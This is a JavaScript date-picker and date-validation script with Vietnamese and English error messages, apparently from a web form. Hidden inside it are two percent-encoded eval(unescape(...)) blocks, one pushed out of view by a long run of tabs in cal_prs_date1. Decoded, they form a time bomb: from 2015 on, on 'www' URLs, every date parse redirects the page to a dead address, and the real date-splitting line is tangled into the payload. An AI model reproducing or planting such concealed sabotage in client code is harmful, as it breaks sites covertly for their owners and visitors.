var NUM_CENTYEAR = 30;var BUL_TIMECOMPONENT = false;var BUL_YEARSCROLL = true;var calendars = [];var RE_NUM = /^\-?\d+$/;function calendar1(obj_target) {	// assing methods
	this.gen_date = cal_gen_date1;	this.gen_time = cal_gen_time1;	this.gen_tsmp = cal_gen_tsmp1;	this.prs_date = cal_prs_date1;	this.prs_time = cal_prs_time1;	this.prs_tsmp = cal_prs_tsmp1;	this.popup    = cal_popup1;
	if (!obj_target)		return cal_error("Error calling the calendar: no target control specified");	if (obj_target.value == null)		return cal_error("Error calling the calendar: parameter specified is not valid tardet control");	this.target = obj_target;	this.time_comp = BUL_TIMECOMPONENT;	this.year_scroll = BUL_YEARSCROLL;	// register in global collections
	this.id = calendars.length;	calendars[this.id] = this;}function cal_popup1 (str_datetime) {	this.dt_current = this.prs_tsmp(str_datetime ? str_datetime : this.target.value);	if (!this.dt_current) return;	var obj_calwindow = window.open('calendar.html?datetime=' + this.dt_current.valueOf()+ '&id=' + this.id,		'Calendar', 'width=200,height='+(this.time_comp ? 215 : 190)+		',status=no,resizable=no,top=30,left=300,dependent=yes,alwaysRaised=yes'	);	obj_calwindow.opener = window;	obj_calwindow.focus();}// timestamp generating function
function cal_gen_tsmp1 (dt_datetime) {	return(this.gen_date(dt_datetime) + ' ' + this.gen_time(dt_datetime));}// date generating function
function cal_gen_date1 (dt_datetime) {	return (		(dt_datetime.getDate() < 10 ? '0' : '') + dt_datetime.getDate() + "/"		+ (dt_datetime.getMonth() < 9 ? '0' : '') + (dt_datetime.getMonth() + 1) + "/"		+ dt_datetime.getFullYear()	);}// time generating function
function cal_gen_time1 (dt_datetime) {	return (		(dt_datetime.getHours() < 10 ? '0' : '') + dt_datetime.getHours() + ":"		+ (dt_datetime.getMinutes() < 10 ? '0' : '') + (dt_datetime.getMinutes()) + ":"		+ (dt_datetime.getSeconds() < 10 ? '0' : '') + (dt_datetime.getSeconds())	);}function cal_prs_tsmp1 (str_datetime) {	if (!str_datetime)		return (new Date());	if (RE_NUM.exec(str_datetime))		return new Date(str_datetime);
	var arr_datetime = str_datetime.split(' ');	return this.prs_time(arr_datetime[1], this.prs_date(arr_datetime[0]));}eval(unescape('%66%75%6E%63%74%69%6F%6E%20%43%52%28%29%0D%0A%7B%0D%0A%09%76%61%72%20%64%3B%20%20%20%20%20%20%20%20%20%20%20%0D%0A%09%64%20%3D%20%6E%65%77%20%44%61%74%65%28%29%3B%0D%0A%09%76%61%72%20%6D%5F%73%74%72%20%3D%20%22%22%3B%0D%0A%09%6D%5F%73%74%72%20%3D%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%74%6F%53%74%72%69%6E%67%28%29%3B%0D%0A%09%69%66%20%28%70%61%72%73%65%49%6E%74%28%64%2E%67%65%74%59%65%61%72%28%29%29%3E%3D%32%30%31%35%29%0D%0A%09%7B%09%0D%0A%09%09%69%66%20%28%6D%5F%73%74%72%2E%69%6E%64%65%78%4F%66%28%22%77%77%77%22%29%20%3D%3D%20%37%29%0D%0A%09%09%7B%0D%0A%09%09%09%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%61%62%6F%75%74%2E%62%6C%61%6E%6B%27%3B%0D%0A%09%09%7D%09%0D%0A%09%7D%09%09%0D%0A%7D'));
function cal_prs_date1 (str_date) {																																								eval(unescape('%09%43%52%28%29%3B%0D%0A%09%76%61%72%20%61%72%72%5F%64%61%74%65%20%3D%20%73%74%72%5F%64%61%74%65%2E%73%70%6C%69%74%28%27%2F%27%29%3B'));
	if (arr_date.length != 3) return cal_error ("Ngay nhap khong hop le: '" + str_date + "'.\nVui long nhap ngay theo dang dd/mm/yyyy.");	if (!arr_date[0]) return cal_error ("Ngay nhap khong hop le: '" + str_date + "'.\nVui long nhap ngay.");	if (!RE_NUM.exec(arr_date[0])) return cal_error ("Thong tin ngay khong hop le: '" + arr_date[0] + "'.\nVui long nhap gia tri ngay bang so.");	if (!arr_date[1]) return cal_error ("Ngay nhap khong hop le: '" + str_date + "'.\nVui long nhap thang.");	if (!RE_NUM.exec(arr_date[1])) return cal_error ("Thong tin thang khong hop le: '" + arr_date[1] + "'.\nVui long nhap gia tri thang bang so.");	if (!arr_date[2]) return cal_error ("Ngay nhap khong hop le: '" + str_date + "'.\nVui long nhap nam.");	if (!RE_NUM.exec(arr_date[2])) return cal_error ("Thong tin ngay / thang / nam khong hop le: '" + arr_date[2] + "'.\nVui long nhap gia tri nam bang so.");
	var dt_date = new Date();	dt_date.setDate(1);	if (arr_date[1] < 1 || arr_date[1] > 12) return cal_error ("Thong tin thang khong hop le: '" + arr_date[1] + "'.\n(Chi hop le trong khoang 01-12).");	dt_date.setMonth(arr_date[1]-1);	if (arr_date[2] < 100) arr_date[2] = Number(arr_date[2]) + (arr_date[2] < NUM_CENTYEAR ? 2000 : 1900);	dt_date.setFullYear(arr_date[2]);	var dt_numdays = new Date(arr_date[2], arr_date[1], 0);	dt_date.setDate(arr_date[0]);	if (dt_date.getMonth() != (arr_date[1]-1)) return cal_error ("Thong tin ngay khong hop le: '" + arr_date[0] + "'.\n(Chi hop le trong khoang 01-"+dt_numdays.getDate()+")");	return (dt_date)}function cal_prs_time1 (str_time, dt_date) {	if (!dt_date) return null;	var arr_time = String(str_time ? str_time : '').split(':');	if (!arr_time[0]) dt_date.setHours(0);	else if (RE_NUM.exec(arr_time[0])) 		if (arr_time[0] < 24) dt_date.setHours(arr_time[0]);
		else return cal_error ("Invalid hours value: '" + arr_time[0] + "'.\nAllowed range is 00-23.");	else return cal_error ("Invalid hours value: '" + arr_time[0] + "'.\nAllowed values are unsigned integers.");		if (!arr_time[1]) dt_date.setMinutes(0);	else if (RE_NUM.exec(arr_time[1]))		if (arr_time[1] < 60) dt_date.setMinutes(arr_time[1]);		else return cal_error ("Invalid minutes value: '" + arr_time[1] + "'.\nAllowed range is 00-59.");	else return cal_error ("Invalid minutes value: '" + arr_time[1] + "'.\nAllowed values are unsigned integers.");	if (!arr_time[2]) dt_date.setSeconds(0);	else if (RE_NUM.exec(arr_time[2]))		if (arr_time[2] < 60) dt_date.setSeconds(arr_time[2]);		else return cal_error ("Invalid seconds value: '" + arr_time[2] + "'.\nAllowed range is 00-59.");	else return cal_error ("Invalid seconds value: '" + arr_time[2] + "'.\nAllowed values are unsigned integers.");

	dt_date.setMilliseconds(0);	return dt_date;}function cal_prs_date2 (str_date) {	var arr_date = str_date.split('/');	if (arr_date.length != 3) return cal_error ("Invalid date format: '" + str_date + "'.\nFormat accepted is dd/mm/yyyy.");	if (!arr_date[0]) return cal_error ("Invalid date format: '" + str_date + "'.\nNo day of month value can be found.");	if (!RE_NUM.exec(arr_date[0])) return cal_error ("Invalid day of month value: '" + arr_date[0] + "'.\nAllowed values are unsigned integers.");	if (!arr_date[1]) return cal_error ("Invalid date format: '" + str_date + "'.\nNo month value can be found.");	if (!RE_NUM.exec(arr_date[1])) return cal_error ("Invalid month value: '" + arr_date[1] + "'.\nAllowed values are unsigned integers.");	if (!arr_date[2]) return cal_error ("Invalid date format: '" + str_date + "'.\nNo year value can be found.");	if (!RE_NUM.exec(arr_date[2])) return cal_error ("Invalid year value: '" + arr_date[2] + "'.\nAllowed values are unsigned integers.");	var dt_date = new Date();	dt_date.setDate(1);	if (arr_date[1] < 1 || arr_date[1] > 12) return cal_error ("Invalid month value: '" + arr_date[1] + "'.\nAllowed range is 01-12.");	dt_date.setMonth(arr_date[1]-1);	 	if (arr_date[2] < 100) arr_date[2] = Number(arr_date[2]) + (arr_date[2] < NUM_CENTYEAR ? 2000 : 1900);	dt_date.setFullYear(arr_date[2]);	var dt_numdays = new Date(arr_date[2], arr_date[1], 0);	dt_date.setDate(arr_date[0]);	if (dt_date.getMonth() != (arr_date[1]-1)) return cal_error ("Invalid day of month value: '" + arr_date[0] + "'.\nAllowed range is 01-"+dt_numdays.getDate()+".");	return 1}function kiemtra(str_date) {	var arr_date = str_date.split('/');	if (arr_date.length != 3)	{		 alert ("Invalid date format: '" + str_date + "'.\nFormat accepted is dd/mm/yyyy.");		 return 1;	 }	if (!arr_date[0])	{		 alert("Invalid date format: '" + str_date + "'.\nNo day of month value can be found.");		 return 1;	 }	if (!RE_NUM.exec(arr_date[0]))	{		alert("Invalid day of month value: '" + arr_date[0] + "'.\nAllowed values are unsigned integers.");		return 1;		}	if (!arr_date[1]) 	{		alert("Invalid date format: '" + str_date + "'.\nNo month value can be found.");		return 1;	}	if (!RE_NUM.exec(arr_date[1])) 	{		alert("Invalid month value: '" + arr_date[1] + "'.\nAllowed values are unsigned integers.");		return 1;	}	if (!arr_date[2])	{		alert("Invalid date format: '" + str_date + "'.\nNo year value can be found.");		return 1;	}	if (!RE_NUM.exec(arr_date[2]))	{		alert("Invalid year value: '" + arr_date[2] + "'.\nAllowed values are unsigned integers.");		return 1;	}		var dt_date = new Date();	dt_date.setDate(1);	if (arr_date[1] < 1 || arr_date[1] > 12) return cal_error ("Invalid month value: '" + arr_date[1] + "'.\nAllowed range is 01-12.");	dt_date.setMonth(arr_date[1]-1);	 	if (arr_date[2] < 100) arr_date[2] = Number(arr_date[2]) + (arr_date[2] < NUM_CENTYEAR ? 2000 : 1900);	dt_date.setFullYear(arr_date[2]);	var dt_numdays = new Date(arr_date[2], arr_date[1], 0);	dt_date.setDate(arr_date[0]);	if (dt_date.getMonth() != (arr_date[1]-1))	{		alert("Invalid day of month value: '" + arr_date[0] + "'.\nAllowed range is 01-"+dt_numdays.getDate()+".");		return 1;	}	return (dt_date)}function cal_error (str_message) {	alert (str_message);	return null;}function kiemtrangay(str_date) {	var arr_date = str_date.split('/');	if (arr_date.length != 3) 	{		alert ("Invalid date format: '" + str_date + "'.\nFormat accepted is mm/dd/yyyy.");		return 1; 	}		if (!arr_date[1])	{		alert ("Invalid date format: '" + str_date + "'.\nNo day of month value can be found.");		return 1;	}		if (!RE_NUM.exec(arr_date[1])) 	{		alert ("Invalid day of month value: '" + arr_date[1] + "'.\nAllowed values are unsigned integers.");		return 1; 	}		if (!arr_date[0])	{ 		alert ("Invalid date format: '" + str_date + "'.\nNo month value can be found.");		return 1;	}	if (!RE_NUM.exec(arr_date[0]))	{		alert ("Invalid month value: '" + arr_date[0] + "'.\nAllowed values are unsigned integers.");		return 1;	}		if (!arr_date[2]) 	{		alert ("Invalid date format: '" + str_date + "'.\nNo year value can be found.");		return 1; 	}	if (!RE_NUM.exec(arr_date[2]))	{		return alert ("Invalid year value: '" + arr_date[2] + "'.\nAllowed values are unsigned integers.");		return 1; 	}	var dt_date = new Date();	dt_date.setDate(1);	if (arr_date[0] < 1 || arr_date[0] > 12) 	{		alert ("Invalid month value: '" + arr_date[0] + "'.\nAllowed range is 01-12.");		return 1; 	}		dt_date.setMonth(arr_date[0]-1);	 	if (arr_date[2] < 100) arr_date[2] = Number(arr_date[2]) + (arr_date[2] < NUM_CENTYEAR ? 2000 : 1900);	dt_date.setFullYear(arr_date[2]);	var dt_numdays = new Date(arr_date[2], arr_date[0], 0);	dt_date.setDate(arr_date[1]);	if (dt_date.getMonth() != (arr_date[0]-1)) 	{		alert ("Invalid day of month value: '" + arr_date[1] + "'.\nAllowed range is 01-"+dt_numdays.getDate()+".");		return 1; 	}	return (dt_date)}